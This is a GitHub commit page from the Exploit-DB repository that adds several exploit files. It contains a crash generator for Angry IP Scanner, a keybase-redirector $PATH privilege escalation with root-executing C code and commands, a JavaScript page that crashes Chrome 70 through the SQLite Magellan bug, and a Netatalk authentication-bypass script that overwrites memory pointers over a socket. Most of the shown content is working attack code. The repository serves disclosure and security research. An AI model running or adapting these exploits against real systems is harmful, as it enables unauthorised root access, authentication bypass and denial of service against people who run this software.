Skip to content

Commit 1b31850

Browse files
author
Offensive Security
committed
DB: 2018-12-25
15 changes to exploits/shellcodes Angry IP Scanner for Linux 3.5.3 - Denial of Service (PoC) Google Chrome 70 - SQLite Magellan Crash (PoC) Microsoft Windows - 'MsiAdvertiseProduct' Arbitrary File Copy/Read Keybase keybase-redirector - '$PATH' Local Privilege Escalation Adobe Flash ActiveX Plugin 28.0.0.137 - Remote Code Execution (PoC) Netatalk - Bypass Authentication Kubernetes - (Unauthenticated) Arbitrary Requests Kubernetes - (Authenticated) Arbitrary Requests WSTMart 2.0.8 - Cross-Site Scripting WSTMart 2.0.8 - Cross-Site Request Forgery (Add Admin) FrontAccounting 2.4.5 - 'SubmitUser' SQL Injection phpMyAdmin 4.8.4 - 'AllowArbitraryServer' Arbitrary File Read PhpSpreadsheet < 1.5.0 - XML External Entity (XXE) Linux/x86 - Kill All Processes Shellcode (14 bytes)
1 parent 0275ca3 commit 1b31850

File tree

17 files changed

+1105
-10
lines changed

17 files changed

+1105
-10
lines changed

‎exploits/linux/dos/46038.py

Lines changed: 24 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,24 @@
1+
# Exploit Title: Angry IP Scanner for Linux 3.5.3 - Denial of Service (PoC)
2+
# Discovery by: Mr Winst0n
3+
# Discovery Date: 2018-12-22
4+
# Vendor Homepage: https://angryip.org/
5+
# Software Link : https://angryip.org/download/
6+
# Tested Version: 3.5.3 (latest version)
7+
# Tested on: Kali linux
8+
# Vulnerability Type: Denial of Service (DoS)
9+
10+
# Steps to Produce the Crash:
11+
# 1.- Run python code : python angryip.py
12+
# 2.- Open Xangry.txt and copy content to clipboard
13+
# 3.- Open Angry IP Scanner
14+
# 4.- Go to "Tools" in toolbar, click on "Preferences", then in the tab "Ports",
15+
# 5.- Paste ClipBoard on "Port selection", and click on "OK",
16+
# 6.- Crashed
17+
18+
#!/usr/bin/env python
19+
20+
buffer = "\x41" * 384
21+
crash = buffer + "BBBB" + "CCCC"
22+
f = open("Xangry.txt", "w")
23+
f.write(crash)
24+
f.close()

‎exploits/linux/local/46044.md

Lines changed: 94 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,94 @@
1+
keybase-redirector is a setuid root binary. keybase-redirector calls the fusermount binary using a relative path and the application trusts the value of $PATH. This allows a local, unprivileged user to trick the application to executing a custom fusermount binary as root.
2+
3+
## Environment
4+
5+
CentOS Linux release 7.4.1708 (Core)
6+
3.10.0-693.17.1.el7.x86_64
7+
8+
RPM info
9+
10+
```
11+
Name : keybase
12+
Version : 2.8.0.20181017144746.3efc4cbf3c
13+
Release : 1
14+
Architecture: x86_64
15+
Install Date: Mon 22 Oct 2018 05:30:36 PM EDT
16+
Group : Unspecified
17+
Size : 273302678
18+
License : BSD
19+
Signature : RSA/SHA256, Wed 17 Oct 2018 10:55:21 AM EDT, Key ID 47484e50656d16c7
20+
Source RPM : keybase-2.8.0.20181017144746.3efc4cbf3c-1.src.rpm
21+
Build Date : Wed 17 Oct 2018 10:54:47 AM EDT
22+
Build Host : 6ae61e160e87
23+
Relocations : (not relocatable)
24+
Summary : Keybase command line client
25+
Description :
26+
Keybase command line client
27+
```
28+
29+
An unprivileged user named user1 is used for this PoC.
30+
31+
## Steps to reproduce
32+
33+
1) Display privileges of user 1 - execute the id command
34+
35+
```
36+
[user1@localhost woot]$ id
37+
uid=1000(user1) gid=1000(user1) groups=1000(user1) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
38+
```
39+
40+
2) Create a custom fusermount application. This PoC will create /w00t as root. Arbitrary commands can be executed.
41+
42+
```
43+
cat >fusermount.c<<EOF
44+
#include <stdio.h>
45+
#include <stdlib.h>
46+
#include <sys/types.h>
47+
#include <unistd.h>
48+
49+
int main(int argc, char **argv)
50+
{
51+
setreuid(0,0);
52+
system("/usr/bin/touch /w00t");
53+
return(0);
54+
}
55+
EOF
56+
``
57+
58+
3) Compile fusermount.c
59+
60+
```
61+
gcc -Wall fusermount.c -o fusermount
62+
```
63+
64+
4) Verify that /w00t does not exist.
65+
66+
```
67+
[user1@localhost woot]$ ls -ld /w00t
68+
ls: cannot access /w00t: No such file or directory
69+
```
70+
71+
5) Prepend the PATH environment variable with a dot(for current working directory) and execute keybase-redirector which in turn will execute the malicious fusermount binary as root.
72+
73+
```
74+
env PATH=.:$PATH /usr/bin/keybase-redirector /keybase
75+
```
76+
77+
6) Enter the control-c sequence to kill the application.
78+
79+
```
80+
[user1@localhost woot]$ env PATH=.:$PATH /usr/bin/keybase-redirector /keybase
81+
^C
82+
```
83+
84+
7) Verify that /w00t exists
85+
86+
```
87+
[user1@localhost woot]$ ls -ld /w00t
88+
-rw-rw-r--. 1 root user1 0 Oct 22 16:34 /w00t
89+
[user1@localhost woot]$
90+
```
91+
92+
## Impact
93+
94+
Unauthorized root access is possible which impacts the confidentially, integrity, and availability of the system.

‎exploits/multiple/dos/46042.html

Lines changed: 136 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,136 @@
1+
<!---
2+
title: Crash Chrome 70 with the SQLite Magellan bug
3+
categories: chrome
4+
permalink: /sqlitebug/
5+
layout: post
6+
---!>
7+
8+
<p>This proof-of-concept crashes the Chrome renderer process using <a href="https://blade.tencent.com/magellan/index_en.html">Tencent Blade Team's Magellan SQLite3 bug</a>. It's based on <a href="https://www.sqlite.org/src/info/940f2adc8541a838">a SQLite test case</a> from the commit that fixed the bug.</p>
9+
10+
<p><span id="prompttext">If you're using Chrome 70 or below, tap the button below to crash this page:</span></p>
11+
<button onClick="crash()" style="font-size: 150%">Crash this page</button>
12+
<p>Your browser's user agent is: <span id="browserUserAgent">not available without JavaScript. Turn it on!</span></p>
13+
14+
<p><a href="https://github.com/zhuowei/worthdoingbadly.com/blob/master/_posts/2018-12-14-sqlitebug.html">Source code for this page on GitHub</a>.</p>
15+
16+
<h1>Sign up for more information</h1>
17+
<p>I'm working on understanding how this issue affects browsers. To get notified when I update this page, please sign up to my mailing list:</p>
18+
<form action="https://worthdoingbadly.us18.list-manage.com/subscribe/post?u=3f9820ca33ce6a7b1e682c9ac&id=014e6793b7&SIGNUP=inline-sqlitebug" method="post" id="mc-embedded-subscribe-form-inline" name="mc-embedded-subscribe-form-inline" class="validate" target="_blank">
19+
<input type="email" value="" name="EMAIL" class="required email" id="mce-EMAIL" placeholder="Email">
20+
<div style="position: absolute; left: -5000px;" aria-hidden="true"><input type="text" name="b_3f9820ca33ce6a7b1e682c9ac_014e6793b7" tabindex="-1" value=""></div>
21+
<input type="submit" value="Subscribe" name="subscribe" id="mc-embedded-subscribe" class="button">
22+
</form>
23+
24+
<h1>What's supposed to happen?</h1>
25+
<p>After you press the button, the page should crash:</p>
26+
<p><img src="/assets/blog/sqlitebug/sqlite_cropped.png" alt="screenshot"></p>
27+
<p>On Android 5.1, I get a segfault in memcpy:</p>
28+
<pre style="font-size: 10px">
29+
F/libc ( 3801): Fatal signal 11 (SIGSEGV), code 1, fault addr 0xe0ddb457 in tid 3854 (Database thread)
30+
I/DEBUG ( 142): *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
31+
I/DEBUG ( 142): Build fingerprint: 'google/nakasi/grouper:5.1/LMY47D/1743759:user/release-keys'
32+
I/DEBUG ( 142): Revision: '0'
33+
I/DEBUG ( 142): ABI: 'arm'
34+
I/DEBUG ( 142): pid: 3801, tid: 3854, name: Database thread >>> com.android.chrome:sandboxed_process6 <<<
35+
I/DEBUG ( 142): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0xe0ddb457
36+
I/DEBUG ( 142): r0 e0ddb457 r1 611be0ab r2 00000002 r3 ff000000
37+
I/DEBUG ( 142): r4 611be038 r5 00000002 r6 611be0a9 r7 7fffffff
38+
I/DEBUG ( 142): r8 00000001 r9 611be0ab sl 80000001 fp 00000000
39+
I/DEBUG ( 142): ip 00000066 sp 6defd3a0 lr 00000074 pc 4025eb62 cpsr 680f2430
40+
I/DEBUG ( 142):
41+
I/DEBUG ( 142): backtrace:
42+
I/DEBUG ( 142): #00 pc 0000fb62 /system/lib/libc.so (__memcpy_base+217)
43+
I/DEBUG ( 142): #01 pc 018d0e1d /data/app/com.android.chrome-1/base.apk
44+
</pre>
45+
46+
<h1>What's affected?</h1>
47+
<p>Affected: tested, causes one tab/one window to crash:</p>
48+
<ul>
49+
<li>Chrome 70.0.3538.110 on Android 5.1 and 9</li>
50+
<li>Electron 2.0.12 on macOS 10.14</li>
51+
</ul>
52+
<p>Not affected:</p>
53+
<ul>
54+
<li>Chrome 71.0.3578.98 on Android 8.1 (already fixed)</li>
55+
<li>Safari (doesn't have FTS enabled in SQLite3)</li>
56+
<li>Browsers not based on Chrome (no WebSQL support)</li>
57+
</ul>
58+
59+
<script>
60+
// https://gist.github.com/nolanlawson/0264938033aca2201012
61+
// https://www.sqlite.org/src/info/940f2adc8541a838
62+
const db = openDatabase('fts_demo', 1, 'fts_demo', 5000000);
63+
64+
const firstStatements = [
65+
"DROP TABLE IF EXISTS ft;",
66+
"CREATE VIRTUAL TABLE ft USING fts3;",
67+
"INSERT INTO ft VALUES('aback');",
68+
"INSERT INTO ft VALUES('abaft');",
69+
"INSERT INTO ft VALUES('abandon');",
70+
];
71+
72+
const secondStatements = [
73+
"SELECT quote(root) from ft_segdir;",
74+
"UPDATE ft_segdir SET root = X'0005616261636B03010200FFFFFFFF070266740302020003046E646F6E03030200';",
75+
"SELECT * FROM ft WHERE ft MATCH 'abandon';"
76+
];
77+
78+
function dbSuccess() {
79+
console.log("success");
80+
console.log(arguments);
81+
}
82+
83+
function dbErr() {
84+
console.log("err");
85+
console.log(arguments);
86+
}
87+
88+
function runAll(statements, success) {
89+
db.transaction((tx) => {
90+
console.log("alive");
91+
for (const statement of statements) {
92+
console.log("queueing " + statement);
93+
tx.executeSql(statement, [], dbSuccess, dbErr);
94+
}
95+
console.log("queued");
96+
}, dbErr, success);
97+
}
98+
function crash() {
99+
runAll(firstStatements, (event) => {
100+
console.log(event);
101+
runAll(secondStatements, (event) => {
102+
console.log(event);
103+
});
104+
});
105+
}
106+
// onload
107+
function getChromeVersion(userAgent) {
108+
for (const part of userAgent.split(" ")) {
109+
if (part.startsWith("Chrome/") || part.startsWith("Chromium/")) {
110+
return part.substring(part.indexOf("/") + 1);
111+
}
112+
}
113+
return null;
114+
}
115+
function isChromeSupported(chromeVersion) {
116+
if (chromeVersion == null) return false;
117+
const firstPart = chromeVersion.substring(0, chromeVersion.indexOf("."));
118+
return parseInt(firstPart) <= 70;
119+
}
120+
function getPromptText(userAgent) {
121+
const chromeVersion = getChromeVersion(userAgent);
122+
if (chromeVersion == null) {
123+
return "This demo only works on Chrome 70 or below. Open this page in Chrome 70, then tap the button.";
124+
}
125+
const chromeOK = isChromeSupported(chromeVersion);
126+
if (chromeOK) {
127+
return "You're using Chrome 70 or below, so you may be vulnerable. Tap the button to crash this page.";
128+
}
129+
return "Your Chrome is too new. Open this page in Chrome 70, then tap the button.";
130+
}
131+
function onLoad() {
132+
document.getElementById("browserUserAgent").textContent = navigator.userAgent;
133+
document.getElementById("prompttext").textContent = getPromptText(navigator.userAgent);
134+
}
135+
window.onload = onLoad;
136+
</script>

‎exploits/multiple/remote/46048.py

Lines changed: 44 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,44 @@
1+
import socket
2+
import struct
3+
import sys
4+
if len(sys.argv) != 3:
5+
sys.exit(0)
6+
ip = sys.argv[1]
7+
port = int(sys.argv[2])
8+
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
9+
print "[+] Attempting connection to " + ip + ":" + sys.argv[2]
10+
sock.connect((ip, port))
11+
dsi_payload = "\x00\x00\x40\x00" # client quantum
12+
dsi_payload += '\x00\x00\x00\x00' # overwrites datasize
13+
dsi_payload += struct.pack("I", 0xdeadbeef) # overwrites quantum
14+
dsi_payload += struct.pack("I", 0xfeedface) # overwrites the ids
15+
dsi_payload += struct.pack("Q", 0x63b660) # overwrite commands ptr
16+
dsi_opensession = "\x01" # attention quantum option
17+
dsi_opensession += struct.pack("B", len(dsi_payload)) # length
18+
dsi_opensession += dsi_payload
19+
dsi_header = "\x00" # "request" flag
20+
dsi_header += "\x04" # open session command
21+
dsi_header += "\x00\x01" # request id
22+
dsi_header += "\x00\x00\x00\x00" # data offset
23+
dsi_header += struct.pack(">I", len(dsi_opensession))
24+
dsi_header += "\x00\x00\x00\x00" # reserved
25+
dsi_header += dsi_opensession
26+
sock.sendall(dsi_header)
27+
resp = sock.recv(1024)
28+
print "[+] Open Session complete"
29+
afp_command = "\x01" # invoke the second entry in the table
30+
afp_command += "\x00" # protocol defined padding
31+
afp_command += "\x00\x00\x00\x00\x00\x00" # pad out the first entry
32+
afp_command += struct.pack("Q", 0x4295f0) # address to jump to
33+
dsi_header = "\x00" # "request" flag
34+
dsi_header += "\x02" # "AFP" command
35+
dsi_header += "\x00\x02" # request id
36+
dsi_header += "\x00\x00\x00\x00" # data offset
37+
dsi_header += struct.pack(">I", len(afp_command))
38+
dsi_header += '\x00\x00\x00\x00' # reserved
39+
dsi_header += afp_command
40+
print "[+] Sending get server info request"
41+
sock.sendall(dsi_header)
42+
resp = sock.recv(1024)
43+
print resp
44+
print "[+] Fin."

0 commit comments

Comments
 (0)